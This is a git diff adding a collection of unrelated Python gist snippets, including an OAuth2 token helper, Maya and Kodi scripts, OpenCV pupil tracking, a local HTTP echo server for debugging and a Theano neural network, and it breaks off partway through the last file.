+    iris = sklearn.datasets.load_iris()
+
+    # Set number of folds to be twice as many cores as we have
+    num_folds = int(cpu_count() * 2.5)
+
+    # Try to grid search a whole bunch of times
+    for i in range(1000):
+        logging.info('Grid search run {0} out of 1000'.format(i))
+        GridSearchCV(LinearSVC(), param_grid={'C': [1, 10]}, n_jobs=num_folds,
+                     cv=num_folds).fit(iris.data, iris.target)
+
+
+if __name__ == '__main__':
+    main()
diff --git a/hard-gists/6771295/._snippet.py b/hard-gists/6771295/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6771295/._snippet.py differ
diff --git a/hard-gists/6771295/snippet.py b/hard-gists/6771295/snippet.py
new file mode 100644
index 00000000..3695249b
--- /dev/null
+++ b/hard-gists/6771295/snippet.py
@@ -0,0 +1,36 @@
+'''
+    This script will attempt to open your webbrowser,
+    perform OAuth 2 authentication and print your access token.
+
+    It depends on two libraries: oauth2client and gflags.
+
+    To install dependencies from PyPI:
+
+    $ pip install python-gflags oauth2client
+
+    Then run this script:
+
+    $ python get_oauth2_token.py
+    
+    This is a combination of snippets from:
+    https://developers.google.com/api-client-library/python/guide/aaa_oauth
+'''
+
+from oauth2client.client import OAuth2WebServerFlow
+from oauth2client.tools import run
+from oauth2client.file import Storage
+
+CLIENT_ID = '<Client ID from Google API Console>'
+CLIENT_SECRET = '<Client secret from Google API Console>'
+
+
+flow = OAuth2WebServerFlow(client_id=CLIENT_ID,
+                           client_secret=CLIENT_SECRET,
+                           scope='https://spreadsheets.google.com/feeds https://docs.google.com/feeds',
+                           redirect_uri='http://example.com/auth_return')
+
+storage = Storage('creds.data')
+
+credentials = run(flow, storage)
+
+print "access_token: %s" % credentials.access_token
\ No newline at end of file
diff --git a/hard-gists/6776391/._snippet.py b/hard-gists/6776391/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6776391/._snippet.py differ
diff --git a/hard-gists/6776391/snippet.py b/hard-gists/6776391/snippet.py
new file mode 100644
index 00000000..6e7382bf
--- /dev/null
+++ b/hard-gists/6776391/snippet.py
@@ -0,0 +1,110 @@
+import maya.cmds as mc
+import pymel.core as pm
+
+class ProgressBar:
+    def __init__ (self,title,steps):
+        #self.step = 0
+        self.title=title
+        self.steps = steps
+        self.progressControls = []
+        self.progressbar = self.makeProgressBarWindow()
+        self.increment(0)
+        self.increment(1)
+        self.increment(2)
+
+    def makeProgressBarWindow(self):
+        self.window = pm.window(title=self.title, sizeable=False)
+        pm.columnLayout()
+        
+    	self.progressControls.append( pm.progressBar(maxValue=self.steps, width=300) )
+    	self.progressControls.append( pm.progressBar(maxValue=self.steps, width=300) )
+    	self.progressControls.append( pm.progressBar(maxValue=self.steps, width=300) )
+    	pm.showWindow( self.window )
+    	return [self.progressControls[0], self.progressControls[1], self.progressControls[2], self.window]
+
+    def kill(self):
+        pm.deleteUI(self.window)
+
+    def increment(self, i):
+        #self.step = self.step + 1
+        self.progressControls[i].step(1)
+
+class Friend:
+    def __init__(self,point,distance):
+        self.point = point
+        self.distance = distance
+        self.dirty = False
+
+class Point:
+    def __init__(self, t):
+        '''
+        t=PyNode
+        '''
+        self.node = t
+        self.pos = t.getTranslation(space='world')
+        self.friends = [] # [Friend]
+    
+    def getFriends(self, points):
+        for p in points:
+            if p == self: continue
+            self.friends.append(Friend(p,self.getDistance(p)))
+    
+    def getDistance(self, point):
+         Ax, Ay, Az = point.pos
+         Bx, By, Bz = self.pos
+         return (  (Ax-Bx)**2 + (Ay-By)**2 + (Az-Bz)**2  )**0.5
+    
+    def getChain(self, progressBar, chain=[], dirty=[]):
+        chain.append(self)
+        
+        friends = []
+        for x in self.friends:
+            cond1 = x.point not in chain
+            cond2 = x.point not in dirty
+            if cond1 and cond2:
+                friends.append(x)
+        
+        if len(friends) == 0:
+            return chain
+        
+        # skip the really close friends.
+        friend = friends[0].point
+        for f in friends:
+            if f.distance < 0.1:
+                dirty.append(f.point)
+                continue
+            friend = f.point
+            break
+        
+        if friend not in chain:
+            progressBar.increment(1)
+            return friend.getChain(progressBar, chain, dirty)
+        else:
+            return chain
+
+transforms = mc.ls(selection=True)
+points = [Point(pm.PyNode(t)) for t in transforms]
+
+progressBar = ProgressBar('Creating Racespline', len(points))
+
+for point in points:
+    point.getFriends(points)
+    point.friends.sort(key=lambda x: x.distance)
+    progressBar.increment(0)
+
+chain = points[-1].getChain(progressBar)
+
+chain.reverse()
+c = pm.curve(point=[x.pos for x in chain])
+g = pm.createNode('transform', name='newnode')
+
+i=0
+for x in chain:
+    name = 'node_'+"%04d" % (i,)
+    i=i+1
+    l = pm.spaceLocator(position=x.pos, absolute=True)
+    pm.rename(l,name)
+    pm.parent(pm.PyNode(l),g)
+    progressBar.increment(2)
+
+progressBar.kill()
\ No newline at end of file
diff --git a/hard-gists/6799568/._snippet.py b/hard-gists/6799568/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6799568/._snippet.py differ
diff --git a/hard-gists/6799568/snippet.py b/hard-gists/6799568/snippet.py
new file mode 100644
index 00000000..d128bf05
--- /dev/null
+++ b/hard-gists/6799568/snippet.py
@@ -0,0 +1,43 @@
+import numpy as np
+from scipy import optimize
+from matplotlib import pyplot as plt, cm, colors
+
+def calc_R(x,y, xc, yc):
+    """ calculate the distance of each 2D points from the center (xc, yc) """
+    return np.sqrt((x-xc)**2 + (y-yc)**2)
+
+def f(c, x, y):
+    """ calculate the algebraic distance between the data points and the mean circle centered at c=(xc, yc) """
+    Ri = calc_R(x, y, *c)
+    return Ri - Ri.mean()
+
+def leastsq_circle(x,y):
+    # coordinates of the barycenter
+    x_m = np.mean(x)
+    y_m = np.mean(y)
+    center_estimate = x_m, y_m
+    center, ier = optimize.leastsq(f, center_estimate, args=(x,y))
+    xc, yc = center
+    Ri       = calc_R(x, y, *center)
+    R        = Ri.mean()
+    residu   = np.sum((Ri - R)**2)
+    return xc, yc, R, residu
+
+def plot_data_circle(x,y, xc, yc, R):
+    f = plt.figure( facecolor='white')  #figsize=(7, 5.4), dpi=72,
+    plt.axis('equal')
+
+    theta_fit = np.linspace(-pi, pi, 180)
+
+    x_fit = xc + R*np.cos(theta_fit)
+    y_fit = yc + R*np.sin(theta_fit)
+    plt.plot(x_fit, y_fit, 'b-' , label="fitted circle", lw=2)
+    plt.plot([xc], [yc], 'bD', mec='y', mew=1)
+    plt.xlabel('x')
+    plt.ylabel('y')   
+    # plot data
+    plt.plot(x, y, 'r-.', label='data', mew=1)
+
+    plt.legend(loc='best',labelspacing=0.1 )
+    plt.grid()
+    plt.title('Least Squares Circle')
\ No newline at end of file
diff --git a/hard-gists/67bdd4bd8c26e2178579/._snippet.py b/hard-gists/67bdd4bd8c26e2178579/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/67bdd4bd8c26e2178579/._snippet.py differ
diff --git a/hard-gists/67bdd4bd8c26e2178579/snippet.py b/hard-gists/67bdd4bd8c26e2178579/snippet.py
new file mode 100644
index 00000000..1b911329
--- /dev/null
+++ b/hard-gists/67bdd4bd8c26e2178579/snippet.py
@@ -0,0 +1,6 @@
+# place at ~/.kodi/userdata/autoexec.py
+import xbmc
+
+xbmc.executebuiltin('PlayMedia("/storage/videos/","isdir")')
+xbmc.executebuiltin('xbmc.PlayerControl(repeatall)')
+xbmc.executebuiltin("Action(Fullscreen)")
\ No newline at end of file
diff --git a/hard-gists/67c14af0d5afaae5b18c/._snippet.py b/hard-gists/67c14af0d5afaae5b18c/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/67c14af0d5afaae5b18c/._snippet.py differ
diff --git a/hard-gists/67c14af0d5afaae5b18c/snippet.py b/hard-gists/67c14af0d5afaae5b18c/snippet.py
new file mode 100644
index 00000000..7a49a985
--- /dev/null
+++ b/hard-gists/67c14af0d5afaae5b18c/snippet.py
@@ -0,0 +1,109 @@
+#Identify pupils. Based on beta 1
+
+import numpy as np
+import cv2
+import time
+
+cap = cv2.VideoCapture(0) 	#640,480
+w = 640
+h = 480
+
+while(cap.isOpened()):
+    ret, frame = cap.read()
+    if ret==True:
+	
+		#downsample
+		#frameD = cv2.pyrDown(cv2.pyrDown(frame))
+		#frameDBW = cv2.cvtColor(frameD,cv2.COLOR_RGB2GRAY)
+	
+		#detect face
+		frame = cv2.cvtColor(frame,cv2.COLOR_RGB2GRAY)
+		faces = cv2.CascadeClassifier('haarcascade_eye.xml')
+		detected = faces.detectMultiScale(frame, 1.3, 5)
+	
+		#faces = cv2.CascadeClassifier('haarcascade_frontalface_default.xml')
+		#detected2 = faces.detectMultiScale(frameDBW, 1.3, 5)
+		
+		pupilFrame = frame
+		pupilO = frame
+		windowClose = np.ones((5,5),np.uint8)
+		windowOpen = np.ones((2,2),np.uint8)
+		windowErode = np.ones((2,2),np.uint8)
+
+		#draw square
+		for (x,y,w,h) in detected:
+			cv2.rectangle(frame, (x,y), ((x+w),(y+h)), (0,0,255),1)	
+			cv2.line(frame, (x,y), ((x+w,y+h)), (0,0,255),1)
+			cv2.line(frame, (x+w,y), ((x,y+h)), (0,0,255),1)
+			pupilFrame = cv2.equalizeHist(frame[y+(h*.25):(y+h), x:(x+w)])
+			pupilO = pupilFrame
+			ret, pupilFrame = cv2.threshold(pupilFrame,55,255,cv2.THRESH_BINARY)		#50 ..nothin 70 is better
+			pupilFrame = cv2.morphologyEx(pupilFrame, cv2.MORPH_CLOSE, windowClose)
+			pupilFrame = cv2.morphologyEx(pupilFrame, cv2.MORPH_ERODE, windowErode)
+			pupilFrame = cv2.morphologyEx(pupilFrame, cv2.MORPH_OPEN, windowOpen)
+
+			#so above we do image processing to get the pupil..
+			#now we find the biggest blob and get the centriod
+			
+			threshold = cv2.inRange(pupilFrame,250,255)		#get the blobs
+			contours, hierarchy = cv2.findContours(threshold,cv2.RETR_LIST,cv2.CHAIN_APPROX_SIMPLE)
+			
+			#if there are 3 or more blobs, delete the biggest and delete the left most for the right eye
+			#if there are 2 blob, take the second largest
+			#if there are 1 or less blobs, do nothing
+			
+			if len(contours) >= 2:
+				#find biggest blob
+				maxArea = 0
+				MAindex = 0			#to get the unwanted frame 
+				distanceX = []		#delete the left most (for right eye)
+				currentIndex = 0 
+				for cnt in contours:
+					area = cv2.contourArea(cnt)
+					center = cv2.moments(cnt)
+					cx,cy = int(center['m10']/center['m00']), int(center['m01']/center['m00'])
+					distanceX.append(cx)	
+					if area > maxArea:
+						maxArea = area
+						MAindex = currentIndex
+					currentIndex = currentIndex + 1
+		
+				del contours[MAindex]		#remove the picture frame contour
+				del distanceX[MAindex]
+			
+			eye = 'right'
+
+			if len(contours) >= 2:		#delete the left most blob for right eye
+				if eye == 'right':
+					edgeOfEye = distanceX.index(min(distanceX))
+				else:
+					edgeOfEye = distanceX.index(max(distanceX))	
+				del contours[edgeOfEye]
+				del distanceX[edgeOfEye]
+
+			if len(contours) >= 1:		#get largest blob
+				maxArea = 0
+				for cnt in contours:
+					area = cv2.contourArea(cnt)
+					if area > maxArea:
+						maxArea = area
+						largeBlob = cnt
+					
+			if len(largeBlob) > 0:	
+				center = cv2.moments(largeBlob)
+				cx,cy = int(center['m10']/center['m00']), int(center['m01']/center['m00'])
+				cv2.circle(pupilO,(cx,cy),5,255,-1)
+
+	
+		#show picture
+		cv2.imshow('frame',pupilO)
+		cv2.imshow('frame2',pupilFrame)
+		if cv2.waitKey(1) & 0xFF == ord('q'):
+			break
+	
+	#else:
+		#break
+
+# Release everything if job is finished
+cap.release()
+cv2.destroyAllWindows()
diff --git a/hard-gists/67c7a6d77a6da0a56329/._snippet.py b/hard-gists/67c7a6d77a6da0a56329/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/67c7a6d77a6da0a56329/._snippet.py differ
diff --git a/hard-gists/67c7a6d77a6da0a56329/snippet.py b/hard-gists/67c7a6d77a6da0a56329/snippet.py
new file mode 100644
index 00000000..7fdb29e8
--- /dev/null
+++ b/hard-gists/67c7a6d77a6da0a56329/snippet.py
@@ -0,0 +1,39 @@
+#!/usr/bin/env python3
+'''Usage:
+    python3 http-stdout-echo.py -a <bind-address> -p <bind-port>
+    
+   Examples:
+    python3 http-stdout-echo.py # (will listen at 127.0.0.1:8080 by default)
+    python3  http-stdout-echo.py -a 10.3.1.3 -p 5555'''
+
+from http.server import HTTPServer, BaseHTTPRequestHandler
+
+class DummyHTTPHandler(BaseHTTPRequestHandler):
+    '''Simple HTTP server. Print to stdout every requests made to it.
+    Useful for development or debbuging... At least for me!'''
+    
+    def do_GET(self):
+        print('{} - {} - {}'.format(self.client_address, self.request_version, self.path))
+        print('\n### Headers ###\n'+ str(self.headers))
+        self.send_response(200, "GET successfuly served!")
+        self.end_headers()
+    
+    def do_POST(self):
+        msg_length = int(self.headers['Content-Length'])
+        print('{} - {} - {}'.format(self.client_address, self.request_version, self.path))
+        print('\n### Headers ###\n'+ str(self.headers))
+        print('\n### POST content ###\n{}'.format(self.rfile.read(msg_length)))
+        self.send_response(200, "POST successfully served!")
+        self.end_headers()
+        
+if __name__ == '__main__':
+    import argparse
+
+    #Command line argument handling:
+    parser = argparse.ArgumentParser(description='Dummy HTTP server. Prints everything to stdout')
+    parser.add_argument('-a', '--address', help='default: 127.0.0.1')
+    parser.add_argument('-p', '--port', help='default: 8080', type=int)
+    args = parser.parse_args()
+
+    server = HTTPServer((args.address or '127.0.0.1', args.port or 8080), DummyHTTPHandler)
+    server.serve_forever()
diff --git a/hard-gists/67effa81dd1cd5a488b4/._snippet.py b/hard-gists/67effa81dd1cd5a488b4/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/67effa81dd1cd5a488b4/._snippet.py differ
diff --git a/hard-gists/67effa81dd1cd5a488b4/snippet.py b/hard-gists/67effa81dd1cd5a488b4/snippet.py
new file mode 100644
index 00000000..1ffcd3dc
--- /dev/null
+++ b/hard-gists/67effa81dd1cd5a488b4/snippet.py
@@ -0,0 +1,724 @@
+"""
+A deep neural network with or w/o dropout in one file.
+"""
+
+import numpy
+import theano
+import sys
+import math
+from theano import tensor as T
+from theano import shared
+from theano.tensor.shared_randomstreams import RandomStreams
+from collections import OrderedDict
+
+BATCH_SIZE = 100
+
+def relu_f(vec):
+    """ Wrapper to quickly change the rectified linear unit function """
+    return (vec + abs(vec)) / 2.
+
+
+def dropout(rng, x, p=0.5):
+    """ Zero-out random values in x with probability p using rng """
+    if p > 0. and p < 1.:
+        seed = rng.randint(2 ** 30)
+        srng = theano.tensor.shared_randomstreams.RandomStreams(seed)
+        mask = srng.binomial(n=1, p=1.-p, size=x.shape,
+                dtype=theano.config.floatX)
+        return x * mask
+    return x
+
+
+def build_shared_zeros(shape, name):
+    """ Builds a theano shared variable filled with a zeros numpy array """
+    return shared(value=numpy.zeros(shape, dtype=theano.config.floatX),
+            name=name, borrow=True)
+
+
+class Linear(object):
+    """ Basic linear transformation layer (W.X + b) """
+    def __init__(self, rng, input, n_in, n_out, W=None, b=None):
+        if W is None:
+            W_values = numpy.asarray(rng.uniform(
+                low=-numpy.sqrt(6. / (n_in + n_out)),
+                high=numpy.sqrt(6. / (n_in + n_out)),
+                size=(n_in, n_out)), dtype=theano.config.floatX)
+            W_values *= 4  # This works for sigmoid activated networks!
+            W = theano.shared(value=W_values, name='W', borrow=True)
+        if b is None:
+            b = build_shared_zeros((n_out,), 'b')
+        self.input = input
+        self.W = W
+        self.b = b
+        self.params = [self.W, self.b]
+        self.output = T.dot(self.input, self.W) + self.b
+
+    def __repr__(self):
+        return "Linear"
+
+
+class SigmoidLayer(Linear):
+    """ Sigmoid activation layer (sigmoid(W.X + b)) """
+    def __init__(self, rng, input, n_in, n_out, W=None, b=None):
+        super(SigmoidLayer, self).__init__(rng, input, n_in, n_out, W, b)
+        self.pre_activation = self.output
+        self.output = T.nnet.sigmoid(self.pre_activation)
+
+
+class ReLU(Linear):
+    """ Rectified Linear Unit activation layer (max(0, W.X + b)) """
+    def __init__(self, rng, input, n_in, n_out, W=None, b=None):
+        if b is None:
+            b = build_shared_zeros((n_out,), 'b')
+        super(ReLU, self).__init__(rng, input, n_in, n_out, W, b)
+        self.pre_activation = self.output
+        self.output = relu_f(self.pre_activation)
+
+
+class DatasetMiniBatchIterator(object):
+    """ Basic mini-batch iterator """
+    def __init__(self, x, y, batch_size=BATCH_SIZE, randomize=False):
+        self.x = x
+        self.y = y
+        self.batch_size = batch_size
+        self.randomize = randomize
+        from sklearn.utils import check_random_state
+        self.rng = check_random_state(42)
+
+    def __iter__(self):
+        n_samples = self.x.shape[0]
+        if self.randomize:
+            for _ in xrange(n_samples / BATCH_SIZE):
+                if BATCH_SIZE > 1:
+                    i = int(self.rng.rand(1) * ((n_samples+BATCH_SIZE-1) / BATCH_SIZE))
+                else:
+                    i = int(math.floor(self.rng.rand(1) * n_samples))
+                yield (i, self.x[i*self.batch_size:(i+1)*self.batch_size],
+                       self.y[i*self.batch_size:(i+1)*self.batch_size])
+        else:
+            for i in xrange((n_samples + self.batch_size - 1)
+                            / self.batch_size):
+                yield (self.x[i*self.batch_size:(i+1)*self.batch_size],
+                       self.y[i*self.batch_size:(i+1)*self.batch_size])
+
+
+class LogisticRegression:
+    """Multi-class Logistic Regression
+    """
+    def __init__(self, rng, input, n_in, n_out, W=None, b=None):
+        if W != None:
+            self.W = W
+        else:
+            self.W = build_shared_zeros((n_in, n_out), 'W')
+        if b != None:
+            self.b = b
+        else:
+            self.b = build_shared_zeros((n_out,), 'b')
+
+        # P(Y|X) = softmax(W.X + b)
+        self.p_y_given_x = T.nnet.softmax(T.dot(input, self.W) + self.b)
+        self.y_pred = T.argmax(self.p_y_given_x, axis=1)
+        self.output = self.y_pred
+        self.params = [self.W, self.b]
+
+    def negative_log_likelihood(self, y):
+        return -T.mean(T.log(self.p_y_given_x)[T.arange(y.shape[0]), y])
+
+    def negative_log_likelihood_sum(self, y):
+        return -T.sum(T.log(self.p_y_given_x)[T.arange(y.shape[0]), y])
+
+    def training_cost(self, y):
+        """ Wrapper for standard name """
+        return self.negative_log_likelihood_sum(y)
+
+    def errors(self, y):
+        if y.ndim != self.y_pred.ndim:
+            raise TypeError("y should have the same shape as self.y_pred",
+                ("y", y.type, "y_pred", self.y_pred.type))
+        if y.dtype.startswith('int'):
+            return T.mean(T.neq(self.y_pred, y))
+        else:
+            print("!!! y should be of int type")
+            return T.mean(T.neq(self.y_pred, numpy.asarray(y, dtype='int')))
+
+
+class NeuralNet(object):
+    """ Neural network (not regularized, without dropout) """
+    def __init__(self, numpy_rng, theano_rng=None, 
+                 n_ins=40*3,
+                 layers_types=[Linear, ReLU, ReLU, ReLU, LogisticRegression],
+                 layers_sizes=[1024, 1024, 1024, 1024],
+                 n_outs=62 * 3,
+                 rho=0.9, eps=1.E-6,
+                 debugprint=False):
+        """
+        TODO
+        """
+        self.layers = []
+        self.params = []
+        self.pre_activations = [] # SAG specific
+        self.n_layers = len(layers_types)
+        self.layers_types = layers_types
+        assert self.n_layers > 0
+        self._rho = rho  # ``momentum'' for adadelta
+        self._eps = eps  # epsilon for adadelta
+        self._accugrads = []  # for adadelta
+        self._accudeltas = []  # for adadelta
+        self._sag_gradient_memory = []  # for SAG
+
+        if theano_rng == None:
+            theano_rng = RandomStreams(numpy_rng.randint(2 ** 30))
+
+        self.x = T.fmatrix('x')
+        self.y = T.ivector('y')
+        
+        self.layers_ins = [n_ins] + layers_sizes
+        self.layers_outs = layers_sizes + [n_outs]
+        
+        layer_input = self.x
+        
+        for layer_type, n_in, n_out in zip(layers_types,
+                self.layers_ins, self.layers_outs):
+            this_layer = layer_type(rng=numpy_rng,
+                    input=layer_input, n_in=n_in, n_out=n_out)
+            assert hasattr(this_layer, 'output')
+            self.params.extend(this_layer.params)
+            #self.pre_activations.extend(this_layer.pre_activation)# SAG specific TODO 
+            self._accugrads.extend([build_shared_zeros(t.shape.eval(),
+                'accugrad') for t in this_layer.params])
+            self._accudeltas.extend([build_shared_zeros(t.shape.eval(),
+                'accudelta') for t in this_layer.params])
+
+            self._sag_gradient_memory.extend([build_shared_zeros(tuple([(x_train.shape[0]+BATCH_SIZE-1) / BATCH_SIZE] + list(t.shape.eval())), 'sag_gradient_memory') for t in this_layer.params])
+            #self._sag_gradient_memory.extend([[build_shared_zeros(t.shape.eval(), 'sag_gradient_memory') for _ in xrange(x_train.shape[0] / BATCH_SIZE + 1)] for t in this_layer.params])
+
+            self.layers.append(this_layer)
+            layer_input = this_layer.output
+
+        assert hasattr(self.layers[-1], 'training_cost')
+        assert hasattr(self.layers[-1], 'errors')
+        # TODO standardize cost
+        self.mean_cost = self.layers[-1].negative_log_likelihood(self.y)
+        self.cost = self.layers[-1].training_cost(self.y)
+        if debugprint:
+            theano.printing.debugprint(self.cost)
+
+        self.errors = self.layers[-1].errors(self.y)
+
+    def __repr__(self):
+        dimensions_layers_str = map(lambda x: "x".join(map(str, x)),
+                                    zip(self.layers_ins, self.layers_outs))
+        return "_".join(map(lambda x: "_".join((x[0].__name__, x[1])),
+                            zip(self.layers_types, dimensions_layers_str)))
+
+
+    def get_SGD_trainer(self):
+        """ Returns a plain SGD minibatch trainer with learning rate as param.
+        """
+        batch_x = T.fmatrix('batch_x')
+        batch_y = T.ivector('batch_y')
+        learning_rate = T.fscalar('lr')  # learning rate to use
+        # compute the gradients with respect to the model parameters
+        # using mean_cost so that the learning rate is not too dependent
+        # on the batch size
+        gparams = T.grad(self.mean_cost, self.params)
+
+        # compute list of weights updates
+        updates = OrderedDict()
+        for param, gparam in zip(self.params, gparams):
+            updates[param] = param - gparam * learning_rate
+
+        train_fn = theano.function(inputs=[theano.Param(batch_x),
+                                           theano.Param(batch_y),
+                                           theano.Param(learning_rate)],
+                                   outputs=self.mean_cost,
+                                   updates=updates,
+                                   givens={self.x: batch_x, self.y: batch_y})
+
+        return train_fn
+
+    def get_SAG_trainer(self, R=1., alpha=0., debug=False):  # alpha for reg. TODO
+        batch_x = T.fmatrix('batch_x')
+        batch_y = T.ivector('batch_y')
+        ind_minibatch = T.iscalar('ind_minibatch')
+        n_seen = T.fscalar('n_seen')
+        # compute the gradients with respect to the model parameters
+        cost = self.mean_cost
+        gparams = T.grad(cost, self.params)
+        #sparams = T.grad(cost, self.pre_activations)  # SAG specific
+
+        scaling = numpy.float32(1. / (R / 4. + alpha))
+
+        updates = OrderedDict()
+        for accugrad, gradient_memory, param, gparam in zip(
+                self._accugrads, self._sag_gradient_memory,
+                #self._accugrads, self._sag_gradient_memory[ind_minibatch.eval()],
+                self.params, gparams):
+            new = gparam + alpha * param
+            agrad = accugrad + new - gradient_memory[ind_minibatch]
+            # updates[gradient_memory[ind_minibatch]] = new
+            updates[gradient_memory] = T.set_subtensor(gradient_memory[ind_minibatch], new)
+
+            updates[param] = param - (scaling / n_seen) * agrad
+            updates[accugrad] = agrad
+
+        train_fn = theano.function(inputs=[theano.Param(batch_x), 
+            theano.Param(batch_y), theano.Param(ind_minibatch),
+            theano.Param(n_seen)],
+            outputs=cost,
+            updates=updates,
+            givens={self.x: batch_x, self.y: batch_y})
+
+        return train_fn
+
+    def get_adagrad_trainer(self):
+        """ Returns an Adagrad (Duchi et al. 2010) trainer using a learning rate.
+        """
+        batch_x = T.fmatrix('batch_x')
+        batch_y = T.ivector('batch_y')
+        learning_rate = T.fscalar('lr')  # learning rate to use
+        # compute the gradients with respect to the model parameters
+        gparams = T.grad(self.mean_cost, self.params)
+
+        # compute list of weights updates
+        updates = OrderedDict()
+        for accugrad, param, gparam in zip(self._accugrads, self.params, gparams):
+            # c.f. Algorithm 1 in the Adadelta paper (Zeiler 2012)
+            agrad = accugrad + gparam * gparam
+            dx = - (learning_rate / T.sqrt(agrad + self._eps)) * gparam
+            updates[param] = param + dx
+            updates[accugrad] = agrad
+
+        train_fn = theano.function(inputs=[theano.Param(batch_x), 
+            theano.Param(batch_y),
+            theano.Param(learning_rate)],
+            outputs=self.mean_cost,
+            updates=updates,
+            givens={self.x: batch_x, self.y: batch_y})
+
+        return train_fn
+
+    def get_adadelta_trainer(self):
+        """ Returns an Adadelta (Zeiler 2012) trainer using self._rho and
+        self._eps params.
+        """
+        batch_x = T.fmatrix('batch_x')
+        batch_y = T.ivector('batch_y')
+        # compute the gradients with respect to the model parameters
+        gparams = T.grad(self.mean_cost, self.params)
+
+        # compute list of weights updates
+        updates = OrderedDict()
+        for accugrad, accudelta, param, gparam in zip(self._accugrads,
+                self._accudeltas, self.params, gparams):
+            # c.f. Algorithm 1 in the Adadelta paper (Zeiler 2012)
+            agrad = self._rho * accugrad + (1 - self._rho) * gparam * gparam
+            dx = - T.sqrt((accudelta + self._eps)
+                          / (agrad + self._eps)) * gparam
+            updates[accudelta] = (self._rho * accudelta
+                                  + (1 - self._rho) * dx * dx)
+            updates[param] = param + dx
+            updates[accugrad] = agrad
+
+        train_fn = theano.function(inputs=[theano.Param(batch_x),
+                                           theano.Param(batch_y)],
+                                   outputs=self.mean_cost,
+                                   updates=updates,
+                                   givens={self.x: batch_x, self.y: batch_y})
+
+        return train_fn
+
+    def score_classif(self, given_set):
+        """ Returns functions to get current classification errors. """
+        batch_x = T.fmatrix('batch_x')
+        batch_y = T.ivector('batch_y')
+        score = theano.function(inputs=[theano.Param(batch_x),
+                                        theano.Param(batch_y)],
+                                outputs=self.errors,
+                                givens={self.x: batch_x, self.y: batch_y})
+
+        def scoref():
+            """ returned function that scans the entire set given as input """
+            return [score(batch_x, batch_y) for batch_x, batch_y in given_set]
+
+        return scoref
+
+
+class RegularizedNet(NeuralNet):
+    """ Neural net with L1 and L2 regularization """
+    def __init__(self, numpy_rng, theano_rng=None,
+                 n_ins=100,
+                 layers_types=[ReLU, ReLU, ReLU, LogisticRegression],
+                 layers_sizes=[1024, 1024, 1024],
+                 n_outs=2,
+                 rho=0.9, eps=1.E-6,
+                 L1_reg=0.,
+                 L2_reg=0.,
+                 debugprint=False):
+        """
+        TODO
+        """
+        super(RegularizedNet, self).__init__(numpy_rng, theano_rng, n_ins,
+                layers_types, layers_sizes, n_outs, rho, eps, debugprint)
+
+        L1 = shared(0.)
+        for param in self.params:
+            L1 += T.sum(abs(param))
+        if L1_reg > 0.:
+            self.cost = self.cost + L1_reg * L1
+        L2 = shared(0.)
+        for param in self.params:
+            L2 += T.sum(param ** 2)
+        if L2_reg > 0.:
+            self.cost = self.cost + L2_reg * L2
+
+
+class DropoutNet(NeuralNet):
+    """ Neural net with dropout (see Hinton's et al. paper) """
+    def __init__(self, numpy_rng, theano_rng=None,
+                 n_ins=40*3,
+                 layers_types=[Linear, ReLU, ReLU, ReLU, LogisticRegression],
+                 layers_sizes=[1024, 1024, 1024, 1024],
+                 dropout_rates=[0.2, 0.5, 0.5, 0.5, 0.5],
+                 n_outs=62 * 3,
+                 rho=0.9, eps=1.E-6,
+                 debugprint=False):
+        """
+        TODO
+        """
+        super(DropoutNet, self).__init__(numpy_rng, theano_rng, n_ins,
+                layers_types, layers_sizes, n_outs, rho, eps, debugprint)
+
+        self.dropout_rates = dropout_rates
+        dropout_layer_input = dropout(numpy_rng, self.x, p=dropout_rates[0])
+        self.dropout_layers = []
+
+        for layer, layer_type, n_in, n_out, dr in zip(self.layers,
+                layers_types, self.layers_ins, self.layers_outs,
+                dropout_rates[1:] + [0]):  # !!! we do not dropout anything
+                                            # from the last layer !!!
+            this_layer = layer_type(rng=numpy_rng,
+                    input=dropout_layer_input, n_in=n_in, n_out=n_out,
+                    W=layer.W * 1. / (1. - dr), # experimental
+                    b=layer.b * 1. / (1. - dr)) # TODO check
+            assert hasattr(this_layer, 'output')
+            # N.B. dropout with dr==1 does not dropanything!!
+            this_layer.output = dropout(numpy_rng, this_layer.output, dr)
+            self.dropout_layers.append(this_layer)
+            dropout_layer_input = this_layer.output
+
+        assert hasattr(self.layers[-1], 'training_cost')
+        assert hasattr(self.layers[-1], 'errors')
+        # TODO standardize cost
+        # these are the dropout costs
+        self.mean_cost = self.dropout_layers[-1].negative_log_likelihood(self.y)
+        self.cost = self.dropout_layers[-1].training_cost(self.y)
+
+        # these is the non-dropout errors
+        self.errors = self.layers[-1].errors(self.y)
+
+    def __repr__(self):
+        return super(DropoutNet, self).__repr__() + "\n"\
+                + "dropout rates: " + str(self.dropout_rates)
+
+
+def add_fit_and_score(class_to_chg):
+    """ Mutates a class to add the fit() and score() functions to a NeuralNet.
+    """
+    from types import MethodType
+    def fit(self, x_train, y_train, x_dev=None, y_dev=None,
+            max_epochs=20, early_stopping=True, split_ratio=0.1, # TODO 100+ epochs
+            method='adadelta', verbose=False, plot=False):
+        """
+        TODO
+        """
+        import time, copy
+        if x_dev == None or y_dev == None:
+            from sklearn.cross_validation import train_test_split
+            x_train, x_dev, y_train, y_dev = train_test_split(x_train, y_train,
+                    test_size=split_ratio, random_state=42)
+        if method == 'sgd':
+            train_fn = self.get_SGD_trainer()
+        elif method == 'adagrad':
+            train_fn = self.get_adagrad_trainer()
+        elif method == 'adadelta':
+            train_fn = self.get_adadelta_trainer()
+        elif method == 'sag':
+            #train_fn = self.get_SAG_trainer(R=1+numpy.max(numpy.sum(x_train**2, axis=1)))
+            if BATCH_SIZE > 1:
+                line_sums = numpy.sum(x_train**2, axis=1)
+                train_fn = self.get_SAG_trainer(R=numpy.max(numpy.mean(
+                    line_sums[:(line_sums.shape[0]/BATCH_SIZE)*BATCH_SIZE].reshape((line_sums.shape[0]/BATCH_SIZE,
+                        BATCH_SIZE)), axis=1)),
+                    alpha=1./x_train.shape[0])
+            else:
+                train_fn = self.get_SAG_trainer(R=numpy.max(numpy.sum(x_train**2,
+                    axis=1)), alpha=1./x_train.shape[0])
